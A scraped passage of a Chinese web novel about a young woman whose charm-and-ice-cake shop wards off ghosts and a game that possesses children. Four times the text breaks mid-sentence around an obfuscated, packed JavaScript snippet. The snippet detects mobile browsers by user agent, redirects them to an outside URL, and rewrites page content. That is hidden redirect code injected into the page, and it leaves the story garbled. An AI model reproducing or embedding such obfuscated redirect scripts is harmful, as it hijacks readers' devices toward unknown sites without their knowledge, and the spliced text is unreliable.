“那个图标怎么都删不掉的，会不会看上我们豆豆了？”陈老太有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042939|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些后怕地问：“你妈妈不就是做这个的？你们家会不会有什么绝学？有的话千万救一救豆豆！” “我们家不仅没绝学，就连我也是刚开张，而且我卖的是文创不是真符，大阿姨是不是你弄错了？” 陈老太笃定地说：“不可能！” 祝如意没办法了，看陈老太年纪这么大了也有点担心她情绪激动太伤身体，道：“这样吧，我陪你回家一起看看，但真不一定管用。” 陈老太亲眼见识过福祸娘的威力，正常的三观已遭过洗劫，加上祝如意始终沉静如一面湖水，看得人不知不觉就愿意把她当成半个大师，哪里有不愿意的。 祝如意关了门顺便把自己的电脑也带上了，陈老太还好奇地问：“现在驱邪也用上电子香案了？” 祝如意拍拍电脑解释：“既然软件要下载了才能害人，那不是跟病毒一样都需要传播媒介吗？豆豆的电脑我要是用不了，就把它下到我的电脑上看一看。” 陈老太感慨道：“……你们捉鬼界都这么科学了？”暗想，太专业了，自己果然没找错人！ - 在陈老太的带领下，两人到了二栋五单元201门口。 祝如意恍然：“原来是老梅医生家。” 小区居民大多都互相认识，祝如意更是从小混迹家长堆背诗卖艺，幸福小区几乎没有她不了解的原住民。 老梅医生也是外科医生，前几年刚胰腺癌去世。他大儿媳刘大姐，生了一个儿子永宗。他小儿媳毛大姐，生了个孙女豆豆。 比起aabb的豆豆，永宗显然透露出一点宗龄永继的意味，一听就是耀祖。 梅家。 吴老太偷摸把游戏下到孙女电脑后，一直很关注孙女的情况，半夜听到尖叫声、又看到小儿媳一家把电脑装起来，第二天更是一大早就去医院做了全身检查。 难不成是偷偷玩游戏上瘾被毒打了一顿？ 这游戏如毒｜瘾，一但染上那就不是那么好戒的了。 吴老太高兴坏了，点了根香在家跟菩萨祈祷：“有了豆豆做替身，就不要我孙子再沉迷游戏了，好吗？好的。” 乍见祝如意进门，吴老太一不小心掐断了香，尖叫：“如意？你过来干什么？” 祝如意逗她：“吴奶奶，我来和永宗一起写作业。” 吴老太汗毛倒竖，作为幸福小区的卷王，从小祝如意跟哪个小孩一起写作业哪个小孩就指定倒霉。永宗也是在祝如意阴影下成长起来的一代，为此吃过爸妈不少毒打。她转过脸指着楼上说：“豆豆在家，找她去吧，晚上咱们家吃竹笋炒肉，女孩子多吃这个好，消食。” “亲家母，这么大岁数了才到更年期，老来俏啊。”陈老太恨不得把她吃了，豆豆的游戏，用脚丫子想都知道是她下回来的，只是苦于没证据此时不好发作而已。 吴老太开始大声念经。 二楼。 豆豆僵硬地躺在床上，嘴角勾出一抹幸福的弧度，如同木龙让人点了睛，诡异得令人汗毛倒竖。 毛大姐坐在床前守着她，看到祝如意进来，神色也很微妙，她是无神论者，觉得是陈老太是老糊涂被骗了。 但昨晚豆豆又吐又发烧还说胡话，早上去医院检查完也显示身体没有毛病，死马当活马医，毛大姐这才同意陈老太去找人。 祝如意看出来毛大姐的不自在，毕竟以前她来找豆豆都是跟她讨论根号二，这才多久没见面，再开口已经是——您好，豆豆已中邪。 而且祝如意自己也没底，但来都来了，再打退堂鼓也迟了，她把福祸娘拿出来放在豆豆手心里，想看看它究竟有没有用。 豆豆自从昨晚差点登录游戏，精神就一直浑浑噩噩不知天地为何物。 天旋地转间，她隐约看见一个戴着花圈发夹的小女孩趴在自己耳边。 好萌，好可爱，好想摸她。 萌萌的小女孩面无表情，尖着一把细嗓子说：“死鬼！走开！” 豆豆昨晚开始身上就暖暖的，只要想起那个游戏就会情不自然地生出一种那里才是归属的幸福感，但不知道是不是错觉，面受小女孩国粹之后，她觉得一股凉气从自己耳边逐渐传向了四肢百骸。 身上挥之不去的诡异暖水遇见了烧热的铁锅，迅速挥发殆尽。 豆豆感到自己能动了，她坐起来喊了声妈，哇一声哭了。 5. 小师父别念了 锦囊里传来的：“死鬼！走开！”在场之人都是听见了的。 毛大姐抱着闺女脸色脸上一片迷茫，她毕竟是个医生，前几十年劝人喝符水治病的毛脚大夫在她眼里，都是阻挠现代医学进步绊脚石，现在看到世上真有灵异之事，一下子有点道心破碎。 陈老太已经过了这个阶段，整个人接受良好，还冲祝如意竖了个大拇指。 祝如意也感到很惊讶，她确实有阴阳眼能看到脏东西，天赋也不错，但祝家人怕她伤到自己，不许她随意学习法术。这么多年在没有得到小李同学点头前，祝如意也确实没有再捣鼓这些。 没想到时隔多年第一回捣鼓，竟然还真有效果。 豆豆哭完了也凑过来问是怎么回事。 祝如意解释：“民间有遇鬼大骂脱险的法门，这块符就是把骂鬼的短语刻下来长期保存，遇见鬼才会激发。咒语虽简单，但因为从几千年前就被人朗诵，到现在也有不小的法力。” 为了增强品质，施法人要在符前日诵三百遍，这件事很繁琐，要专心致志，不然符就容易刻坏，祝如意刻坏了七八个才把规律摸索出来。 据说学到守夜人那个等级，这些全都用不上，人家言出法随，心里存着这句话，第一个字还没说完鬼就灰飞烟灭了。 豆豆一脸了解的表情，随即想到班里还有那么多同学在玩这个游戏，就想多买几个防身，她还担心这么有用的东西自己排不上号。 祝如意都没好意思说压根就没人买，她琢磨了一下：“六十五一个。”纯手工磨时间，材料费也不便宜。 豆豆要了十个，她是学生身上没这么多钱，都是让毛大姐来给。 也不知毛大姐是怎么劝自己的，可能班上多了吧，反正这一会儿工夫，人看起来已经好了八成，不仅面色如常，还抽空包了个红包递过来。 祝如意挺缺钱的，这个月除了要回本八千八，还要盈利一千二，不然李煦就不让她干了。 这钱她也没推辞，出门以后打开一看，里边竟然有个三千块，加上卖福祸娘的钱，这一下午她就赚了三千六百五，小李同志经营永安堂时两个月都赚不上这么多！ 回家后，祝如意在房间登陆了《锦花市鬼怪闲谈》，她觉得自己不懂的还是太多了。 为了避免白天那样被问得说不出话的事再发生，祝如意决定开始系统学习捉鬼除妖的知识，将来真遇见恶鬼了也能保护好自己。 祝家的典籍不多，祝妈妈也是个半吊子，能教给女儿的也不准确，以前她还在时，互联网不发达，用不了app互相交流。 到了祝如意这代，学习已经变得特别简单，经过鬼怪文化宣传部统计后，所有在册的除鬼人都会下载这个app进行内部交流，上边就有不少学习的法门。 不过很可惜都要用这个账户上的钱买，而现在祝如意的账户是零，她只能先提交梅豆豆一家的材料，等着宣传部结算。 之后祝如意开始浏览这个app，还给自己取了个魔法少女祝的ID。 很快她就发现有个板块进不去。 在论坛翻了一圈，她发现这个板块可以跨城市沟通，只是维持异地沟通需要的法力只有守夜人才做得到，而锦花市已经五十多年没有守夜人了，这个板块只能暂时封存，这个也导致其他城市的具体情况，锦花市的除鬼人都不容易知道。 祝如意纳闷，还特意发了个帖子问：用别的软件沟通不行吗？ 可能问题太过小白，很快就有人回帖。 “楼主是新人？现在科学怪太多，用科技app可能会被鬼怪篡改信息，只有内网有特殊的防火墙防得住。记得传消息要用内部网哟~” 因为新人不多，帖子逐渐吸引来了不少人支教，大家一边科普一边就说到最近奇怪的游戏上去了。 了解之下她才知道，这个游戏就是现代网络怪，通过吸引人沉迷游戏吸收邪念，玩到精神枯竭，也能达到精尽人亡的效果。最近宣传部已经在组织人手挨个清理。 就连祝如意这条帖子下边，没多久也被管理员贴了个通告： 未收到除鬼通知的道友无需参加本次围剿，传染型邪神会导致涉事人群运势降低，易遇小鬼，请专心在家帮助街道办扫邪除祟，强身健体。 当然，像祝如意这样刚入行连除鬼师身份都还没拿到的小虾米，只需要留在家里好好学习就行了。 - 锦花市最近气氛很躁动，学生沉迷游戏，社畜丧得惊魂，街上经常都有人叉着腰在为块儿八毛的事吵架，夏天本来就热，蝉再一叫，人心更烦，街上人都气得脸红脖子粗。 很多居民都开始从菜市场抢购败火的食材。方老太手气好，打麻将赢多输少，往常还不如何，这几天不知怎么，馆子里连几块钱都要争，还硬要赢家给茶钱。以前给茶钱都是赢得多的主动给，但现在赢几十块的，他们也非要让给。 方老太见不是事，这几天都在厨房捣鼓做五毒饼、艾草鸡蛋卷、药炖鸡，给家里人下火。 祝如意开着空调在家捧着本经书唱得起劲。 论坛很多专业书都要用钱买，但特别基础的东西大家还是愿意互通有无。 祝如意在上边就学到做除鬼师要先按韵律节奏唱经，直到想起来里边的句子就是唱的而不是念的为止。学会背诵之后，再开始动笔画符根基才会牢固。 但她从小五音不全，幼儿园唱小螺号都能跑调，像这种大部头的经书经常把人唱得想尿。 方老太和祝老头不赞成孙女干这行，但孩子已经做了，两人就都觉得以后可能或许也会立地飞升吧。像祝老头私下还结交了不少神棍吹牛说自己孙女多厉害。话都到这了，自然无论如何不能允许她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042940|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把经唱成这样。 两人没事就在家指导她怎么吹。 为了这个，祝如意还特意在永安堂翻了本字最少的经书法文，在家变着法地唱。唱完了就问祝老头和方老太：“我唱得怎么样，有没有视频里那些大神的仙风道骨？是不是如听仙乐耳暂明？” 方老太让她唱得尿急，可又不好打击孩子积极性，只能一趟趟跑厕所。 祝老头平时没事就去打太极拳，经书的韵律也听过不少，他很发愁，说：“你这样的，成仙了也只有做扫把星，扫扫南天门，往里多扫一平方，都怕天神尿得人间大涝。” 祝如意不信，她觉得自己唱得挺好的，还特意录了一段发在朋友圈，没想到竟然小范围地引起了一点波澜。 马上有人评论抗议：“小师父，别念了吧，我儿子女儿一听你唱经就尿裤子。大的尿了挨了打，就等小的睡熟了，偷偷放给小的听，让小的也一起尿。好好的两姐弟活生生让经拆散了。” 李煦腿没好利索，起了几回夜之后，他也过来劝如意收了神通，说：“我出钱买个空调，白天你去永安堂唱，晚上回来就别动嘴了。” 祝如意自尊心受损，还是在家硬挺着唱了两天，结果第三天隔壁王宝宝就提了篮水果过来道谢。 王宝宝笑：“我爸水果吃得少水也喝得少，肾结石长了老大一个一直下不来，听了一会儿你发在朋友圈的经，马上就顺利下来了。我爸还说，你是干这个的料。” 方老太笑得腰都直不起来，李煦秉着医者之心，思索半天才找出来一句好话。 他说：“治疗肾结石也是功德一件，以后就是做不成这行，来我们医院的泌尿科，也能有个工作。” “你才给人唱肾结石发财呢！”祝如意很想让小李同志多舔自己下嘴皮，这也太毒了。 第二天一早，祝如意抱着书去了永安堂，三单元上下左右的邻居都松了口气，心想，家里小孩终于不用穿纸尿裤度日了。 祝如意在永安堂放开声音地念，但地方老旧没有空调，只有个风扇和和放菜的冰箱。唱了一会儿她就口干舌燥，这时正好看到经书里记载了一种除祟花糕。 据说钟馗除魔卫道时人间恰逢大旱，瘟疫四起。他见老百姓吃不饱还要被鬼吃，于心不忍，就自己动手做了这道糕点。既可以驱除邪祟，又能裹腹，还能明心静气。 实际上是不是真的那就不知道了，除鬼的东西扯钟馗就跟美食扯乾隆差不多，但谁创的不重要，有用就行。 祝如意想起宣传部说东区居民最近运势低肝火旺，再一看宣传部除祟还要等五六天才轮到方圆街，便骑着电瓶车去了趟菜市场买了一斤菊花，三斤艾草，一桶2L的鲜奶、一打生鸡蛋、一斤大米粉。 在小院子里边唱经，边按照方子做糕，她打算多加点牛奶做成文创雪糕，给自己攒个空调钱。 6. 哦卖糕的 永安堂隔壁是一家老式小卖部，卖些文具、小零食、关东煮，门口还有个油亮的老式烤肠机，经常里边都转着丸子、淀粉肠。 店主叫柳杏杏，她也是幸福家园的居民，父母同样是市医院的医生，只不过是二医院的中医。自古巫医不分家，柳家人虽然投身现代医学怀抱，但对鬼怪之说也并不排斥。 柳杏杏比家里人还要信一些，因为她从小就是个倒霉体质，小时候买方便面从来没见过调料包，大了考研，连续三年都离分数线只差一分。出来再找工作年纪也有点不合适了，投了几个月简历都没找到满意的工资就想在家啃老。 方圆街不远处有所小学，柳奶奶和柳爷爷闲着没事干脆开了个小卖部过过老年生活，一个月平均也能有个三四千块。两人见不得孙女自暴自弃，前几天就说让柳杏杏来管理店铺接着再考一年看看，没准儿就时来运转成功上岸了呢？ 柳杏杏走马上任前，特意在直播间花一百块算了一次命，主播说：“宝宝，今天就是你人生中最幸运的一天哟，易出门、易工作~” 一大早，柳杏杏就梳妆打扮精神抖擞地抱着参考书来上班了。 她对祝家事也有所耳闻，以前永安堂卖丧仪还有人暗戳戳投诉，改成文创后显然是投不成了。进门前看到门口塑料花圈难免感慨了两句，隔壁店主绝对是个做生意的料子，科学时代跳大神都是要吃牢饭的，现在改成鬼怪文创，这不就特么全洗白了吗？ 八点半，祝如意骑着心爱的黄油小绵羊悠哉悠哉地过来开门，柳杏杏怀揣着莫名的敬意还凑过去闲聊了两句，一起笑着回忆了一下穿开裆裤时的掐架往事。 这样一来，祝如意进门后开始吹拉弹唱，她就没好意思过去叫人，还想，总不会念一天吧？是个人也要停下来喝口水呀。 这一等等到中午那边都没停，来店里买辣条的小孩儿被唱尿了几个，险些把店冲垮。 拖了几回地，腰酸背痛的柳杏杏忍着尿意直呼倒霉，想着这一百块到底算是浪费了。 她正要去找人，祝如意又骑着黄油小绵羊风驰电掣地去了趟菜市场，等柳杏杏跑去对面公园上完厕所回来，永安堂门口已经多了块小黑板。 正面是：钟馗冰糕，二十五/支，童叟无欺。 背面写的钟馗糕的作用和来历。 柳家小卖部的冰糕最贵的也就五块钱！她就说吧，这人根本不是小区里传的那样暗度陈仓跳大神，而是奔着钱来的…… 祝如意的钟馗冰糕已经做好了，外观是淡淡的青绿色，味道绵软清凉略带一点草药味。因为价格不便宜，她还特意做了一款Q版头像冰糕，大小只有大冰糕的八分之一，拿来限量试吃，算是她回馈方圆街居民，也算免费给自己打个广告。 为了对得起这二十五块钱，祝如意做完了就对着冰糕猛唱经，希望能给它再增加点效果。正唱得入神呢，门口传来了动静。 看见柳杏杏，她还以为人是来买冰糕的，这孩子倒霉催，打小就出名。 左邻右舍的，祝如意肉痛地拿了一支冰糕给她说：“小柳，你也是来买糕的吧，诺，头一回，我请你吃，以后就别客气啦。” 柳杏杏面色古怪，依她三年奋战的经验来说，这个“也”字充分展现了一副客流如云的画卷，但她在旁边可是亲眼看着的，这一上午，连只蚊子也没来过永安堂！ 她没忍住问：“这钟馗高材料特别好吗？” 祝如意摇头：“艾草、大米粉、牛奶、鸡蛋清，再加一点小秘方，不高级但很健康。” 抱着一丝对念经的不满，柳杏杏嘀咕了一句：“那怎么卖二十五，吃了能转运不成？” 祝如意一听就来了劲，滔滔不绝地表示自己可不是骗子：“因为我的这个冰糕很有文化渊源，钟馗创的，纯手工。再说我还念了一下午经呢。”完全值得上二十五块好吗？ 想到柳杏杏的体质，祝如意还多补充了两句：“据说吃了可以清心宁气，提升运势。像最近不是流行病毒（鬼怪）多吗？家里有病人的容易走霉运。” 说到这里她顿了顿，意有所指道：“家里没事儿也走霉运的，也可以吃两支看看，万一老祖宗显灵了呢？” 这番话祝如意也是思考过的，永安堂毕竟是文创店，像以前祝妈妈在时那样大张旗鼓地说：我捉鬼除妖样样都来，但我是遵纪守法好公民。已经行不通了，毕竟正常人都是唯物主义世界观，所以这个又能加价赚钱又能把永安堂合理化的“文创”她是不可能拿掉的。 这样一来，“一定”“绝对”“肯定”这样违反广告法的用词，就不可能出现在她的产品上。 柳杏杏本来就极度迷信可以转运的各种歪门邪道，不然也不能一直上当受骗，见祝如意说得这么笃定，膝盖中了一箭后，她还是动摇了，问：“是不是这么灵啊？” 祝如意：“有没有用的我也不知道，试试呗，送你的反正不要钱。” 吃人嘴软，柳杏杏因为一支钟馗糕，彻底失去了拒绝祝如意念经的权力，一下午过去，她感觉自己头发都要被唱秃了。 下午七点，柳杏杏满脸疲惫地关门回家。 柳弟弟用攒了一个月的零花钱买了个《魔法少女！变！变！变！》的卡盒，在家沐浴更衣，摸了半个多小时招财猫，终于拿出了剪刀准备拆包。 这种卡盒在小学生间十分流行，分成两元、五元、十元、二十元一包，一盒里边有很多包。包里能凭运气拆出几种等级的卡，特别稀有的隐藏款在海鲜市场还能转卖不少钱。 柳杏杏这时进门往沙发一瘫，恰好压到了卡盒，剪刀从她的脸边惊险地滑过，要是再近一厘米就要戳到眼球。 这种场景柳家人都见怪不怪，虽然柳杏杏背了点，但这么多年从来没出现过让她肢体损伤的事，就连柳杏杏自己也不太在意。 柳弟弟看他姐没受伤，松了一口气之余也有些伤心：“一个月的零花钱，这下全完了，全完了。六百八十块啊，都没了……” 被他姐碰过的卡盒根本不可能拆出什么好卡。 柳杏杏看她弟梨花带雨的样子，也有点惋惜，忽然，她想起什么似的跳起来说：“没完！我现在吃了二十五块钱的转运糕，一切都不一样了！” 在一边看电视的柳奶奶发愁，她就没见过哪块小米糕能转运！看来大罗金仙来也救不了了，哪怕你买道符水也跟道家佛家啥的沾个边儿不是？ 柳杏杏其实也将信将疑，可一想起祝如意说得信誓旦旦的样子，她还是顶着沉默的目光开始拆包。 柳弟弟蹲在一边看，想知道自己的零花钱会变成何等不值钱的样子。 因为没有期待，包装纸被柳杏杏用刀插进去暴力拆开，包装袋也没对齐，直接就是一剪刀。 把卡倒出来，她意兴阑珊地开始一张张看，等翻到最后一张，闪着金光的卡徐徐出现在视野之中，柳杏杏捂着胸口哆嗦地喊柳弟弟：“这是不是隐藏款！这是不是隐藏款！” “可能是装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042941|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了，这张隐藏是几年前的高位卡，现在也不算特别稀奇。”但柳杏杏抽中这件事就很玄乎，她范进中举似的在家不停惊呼：“二十五年未有之事！二十五年未有之事！哀家转运了，哀家转运了，哀家终于转运了，哈哈哈哈！” 从负一百转到0也是转啊！ 柳弟弟本来还伤心呢，看见这张卡也吃了个大惊，导致风灌进嘴不停地打嗝。 他连滚带爬地走到窗户边看了一眼，跟爸妈爷奶大喊：“牛x，太阳（嗝儿）也没（嗝儿）从西边出来啊（嗝儿）！” 柳家其他人满脸也都写满了两个字——卧槽！ 第二天柳杏杏就特意去隔壁买了一打放在冰柜，准备慢慢吃。 小卖部客流量很大，许多学生都喜欢蹲在里边买东西，有人还问过这个多少钱，因为价格贵，不符合小卖部基调，柳杏杏都说：“非卖品，这个是我自己吃的。” 不几天，幸福小区的学生差不多就都知道了里边多了个钟馗冰糕的事，因为价格昂贵是店主的自留款，轻易不分享。 没想到这点竟然破天荒地引起了买卡小学生的关注。 大家都想尝尝看，这个自留款是不是那么好，让那个店主舔得那么起劲。 当然更重要的是玩“我有你没有”输了，作为堂堂正正的小学生，是绝对不能忍受的。 逐渐有几个眼力比较好的小学生就注意到，这个冰糕其实是隔壁永安堂在卖。 因为幸福小区是医院附属区，居民对于生死议题看得很开，里边的孩子也不觉得多忌讳。 但以往永安堂都是吊儿郎当的大学生在躺着睡觉，大家没兴趣去，后来新装修了一下，门口多了两个花圈变得吓人了很多，他们就更不会去了，所以到现在这些学生也没搞明白里边是卖什么的。 但为了第一个获得这个特别的冰糕，有人放学后就拉着爸妈装着胆子往里钻，里边不乏其他小区的人。 大人来了一看，是个产品不多的落魄文创店都有些嫌弃，不过在祝如意说了自己是老字号重传承之后，大家就表示理解了。 越传统越古老，可不就越清贫吗？ 祝如意则暗地里想，这无名鼠辈般的日子也就这一会儿了，以后他们老祝家的永安堂，一定会发财的好吗！ 带娃的大人在店里溜达，看到钟馗糕的背景故事还会抽空鼓励孩子：“以后要多支持传统文化。” 再听价格二十五，丢下句“哦卖糕的”转头就要走，小学生身体就挂在爸妈胳膊上，秤砣似的往地上赖着要买。 这时候人本来就火气重，祝如意真怕他们挨打，就把试吃的产品端出来，说：“尝尝吧，店里一天有四支试吃装，不过一个人只能吃一块。” 冰糕入口微苦回甘，也不知道是不是错觉，吃下去人马上觉得身体里多了一股淡淡的凉意，就像泡在零度的薄荷水里似的，连日以来的躁郁之气都少了一点。 Q版钟馗脸也做得很萌，再加上免费，慢慢的，就有不少学生家长被孩子带着尝过了，有些人还问能不能单独买这个，二十五太贵了。 祝如意一想，干脆开始批量生产Q版，试吃照样供应，卖的话就卖三块一个。 糕体量不够效果会减弱，但三块钱确实大部分人群都能承受得起了，有些人吃了几次后还爱上了这种特殊的苦味。 渐渐的，方圆街附近不少人都吃过了钟馗糕，其中有一小部分人也敏锐地发现，这冰糕似乎真的有点用…… 7. 百分百的概率 这一小部分居民大多家里都有病人，运势也比较低，他们都觉得吃了冰糕后，会有一股淡淡的凉气顺着嘴巴、喉咙滑向全身，对全身毛孔挨个敲门询问：你热不热呀，来吃口冰好不好呀~ 再喜欢尥蹶子的驴，毛都被摸顺了。 梅豆豆有个爱重金属的赛博朋克系表哥，平时特别乐于助人，在碰瓷时代还愿意干扶老奶奶过马路的事，一向被他爸妈说成“不良青年的良心”。 可惜最近这良心老是挂彩回家，亲朋好友都揣测此梅表哥以后要吃牢饭，蹲班房，愁得他爸妈眉毛都快掉没了。 梅豆豆辗转知道了这事，特意让毛大姐给她表哥提了一打冰糕过去，经过上次的事，如意在她心里的地位已经从“别人家的小孩”进化到了“我们小区的武林高手”。 而且这高手显而易见还在发展中，梅豆豆吸收了无数米虫前辈总结出来的真理——抱大腿要趁早，永安堂有个风吹草动她都格外关注。 像福祸娘，在她送了几个玩游戏玩的发狂的同学后，也几乎已经被她们班包揽了，由此在祝如意面前刷足了存在感。 钟馗糕一出世，梅豆豆就鼓动了不少同学买给家里人吃，在知道第一个吃的是柳杏杏之后，她还气得三天没去小卖部吃油炸淀粉肠。 梅表哥鼻青脸肿地在家休养，毛大姐作为医生，心里对这转运冰糕自有说辞，上门后见了人，她先在心里感叹了一番良心的堕落，才说：“小梅，这个是最新的中药冰糕，吃了调理下肝火，特别有用，你多吃点，也可以给黄毛朋友带一些。” 作为赛博朋克，吃中药调理肝火，简直滑天下之大稽。梅表哥高冷表示：——毋宁死。 但在被家里被母上大人强行塞了几根冰糕后，梅表哥提着通体铆钉的皮带，嘴上说着“老子才不信这个邪”私下却开始骑着重机车跑到永安堂来买冰糕。 梅豆豆撞见了好几次！ 梅表哥戴着墨镜，给了她八百块封口费，告诉她：不良青年只是个时尚单品，不代表他们真的爱打架好不好？ 梅豆豆呜呜点头。 这一幕恰好被骑着小黄油出来买菜的祝如意发现，她随手拍了张照，询问梅豆豆能不能发个宣传贴。 得到肯定答复后，祝如意就在两人脸上打了马赛克发到小地瓜，假装水军发了个帖子：哎哟~这个文创冰糕连赛博朋克都来买啦~不知道是真好吃还是真有用呢~ 为了塑造出一种声势浩大的感觉，她还特意用祝老头和方老太的手机号，在下无意间改了Ip地址，点出门面所在。 宣传效果暂未见到，“吃中药冰糕转运”的梅表哥却出了名，熟悉的人，打了马赛克也能认出来。 梅表哥打电话骂了一通梅豆豆不仗义，之后破罐子破摔，快快乐乐地带着一群兄弟轰隆隆地来了。 方圆街附近没吃过钟馗糕的居民都发现了，最近很多奇形怪状的青年人、小学生、小白领，进了方圆街再出来就跟重新做人了似的。 好些面色不善烫着鸡冠头的不良青年，出来后竟然还会笑着跟他们打招呼！ 一时间，钟馗糕供不应求。 祝如意怕只吃Q版冰糕效力不够，还特意在冰糕的棍子上刻了清心符。 这么一来，钟馗糕就赚不了几个钱了。 可幸福小区和方圆街是她的家呀。 平时做个奸商也就算了，像现在祟气横行，别的除鬼人都护犊子忙着清理自己的地盘完全顾不上这边，难道她还要不闻不问看着亲朋好友在街上打群架吗？ 祝妈妈失踪这么多年，小区不少人都出了力，到现在还经常有人留意街边流浪｜妇女、新闻无名女尸的。 趁着行情还在，祝如意每天起早贪黑地唱经做糕。 她天赋虽好，入行却短，很多更有用的法门不能掌握，很多修行的路径也无法知道。即使用尽全力，一天也只能做二十多支大的，二十多支小的。 念经做糕其实都是需要法力的事，刻符也是一个道理，尽管每道工序需要的法力都很少，全部加起来之后，对于还不知道怎么运用、查看法力的祝如意来说，也是个不小的挑战。 为了避免伤到根基，每天她都是做到自己有微微的疲倦就会马上停止，这样也没有别的坏处，只是会让人格外想睡。 偏偏方老太每天都在家做好吃的，红烧带鱼、蒜蓉粉丝、花胶鸡汤什么的。 祝如意晚上回来，闻见味道就口水直流，根本睡不安稳，可又实在犯困。 最后她决定边吃边睡，只在夹菜时睁一只眼，埋头干饭就睡两只眼。 祝家人都心疼坏了，祝如意有事素来不瞒着家里人，最近城里祟气多的事，他们都是知道的。 祝如意做的冰糕，祝家人也吃过，方老太还提着试吃装去麻将馆给老朋友分了一些，因为冰糕好用，这几天她已经恢复了往年的作息。吃完饭一点多去打牌，五点多散场回来做饭。 方老太没有任何时候比这一刻更清楚，这个孙女确实很有天赋。女儿往年还在家时，也有过异于常人的表现。像钟馗糕，祝素秋也做过，祝家人都吃过不少。 但往年的那些糕，有如意的有用吗？没有。祝素秋天赋寻常，做出来的东西都是时灵时不灵，但她走南闯北许多年，也见过不少天资卓绝的同道中人。 方老太还记得，女儿以前说过：“修行的事就没有百发百中的，就拿学习来说吧，就算是天才，小时候也肯定做过错题。” 但她看了这么些天，祝如意做这个冰糕，竟然没有一个是不中用的，这百分百的概率让她尤其震惊。 能力越大责任越大，要是以后祝如意出个什么事，家里都是承受不起的，但李煦和祝素秋都是言出必行的人，两个人生的孩子也是这样，她也就只能每天多做点好吃的给她补补身体。 差不多过了一周，祝如意惊讶地发现身体有了一点变化。 最近她法力损耗得多，晚上睡觉就格外沉，前几天早上起来，她只会产生“法力有回来了”的感觉，但这两天起床后，她却感觉格外神清气爽。 祝家人都是医生，祝如意不学医也知道，这个完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042942|162623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能是坏事。 无独有偶，等她无意间再登陆《锦花市鬼怪闲谈》app时，竟然发现梅豆豆事件的奖励下来了，宣传部总共给了一千五百点积分，祝如意高兴得带着小黄油出去绕着小区跑了三圈。 她早就打算再进一步产出一件具有攻击性的“文创”。 像福祸娘和钟馗冰糕，都是防御性，显得她武德一点也不充沛，想想就令人遗憾……当然更重要的是为永安文创增添第三个产品。 昨天下午，梅表哥还骑着机车过来很机车地问她：“老板娘，你还卖不卖别的啊，还是说这就是个叫文创的冰糕店？” 祝如意冤枉，这不是她不想卖，而是永安堂典籍不丰，实在没有那么多花活给她整。 这几天糕也卖得差不多了，方圆街上的火药味散了七八成，祝如意估计再过个几天事情就算圆满解决了，这才有时间挪出手来拓展业务。 她逛了一圈发现，一千五百点积分奖励不算多，但也买得起稍微好一些的基础书了。 下午祝如意就窝在家里边唱经边逛商城，逛了半天，最后咬牙买了1350的《符箓入门》。 选这个的原因主要是，她最近在论坛看了一些除鬼人做法的视频，瞅见别人仙衣飘飘地挑剑贴符，顿时惊为天人。尤其下边回复，这类要用剑符的法事，一场下来就能有八千多积分。 再一看银光闪闪的度厄剑，祝如意心酸地表示：以后我也要手持神剑蘸桃符，在帅哥美女面前装个大的！ 返贫之后，萎靡不振的祝如意特意挑了个黄道吉日，在目录里选了一道破魔符来画。 因为木材比较贵，上次刻福祸娘没搞清楚要念多少遍咒，导致刻坏了不少。这次书上写了要诵三百遍，祝如意就学精了，还是打算先用她妈留下来的老朱砂在黄表纸上练习，打算练得差不多了再刻在木板上。 破魔符也属于基础符，但比起只驱赶不杀生的福祸娘多了两分杀气，但威力如何，祝如意也没太多把握。 因为她打开书以后才了解到，这个书分上中下三本，里边很多符也一样，但书名一点也不展现，完全是把人骗进去杀。 像破魔符就有进阶版，高一些的叫破魔宝符，最高级的叫破魔天符，对法力的要求非常大。至于怎么画，都写在《高级符箓二百道》里。 祝如意看了下价格，这本书要五万三千点，她很想把福祸娘送给出书人，看福祸娘会不会跳起来说一句：“死鬼，走开！” 然而一只小虾米哪有这个途径，最后也只能含恨做罢。 她在家闷头学习，宣传部的除鬼人也终于干完了自己住所附近的活儿，跑过来支援方圆街了。 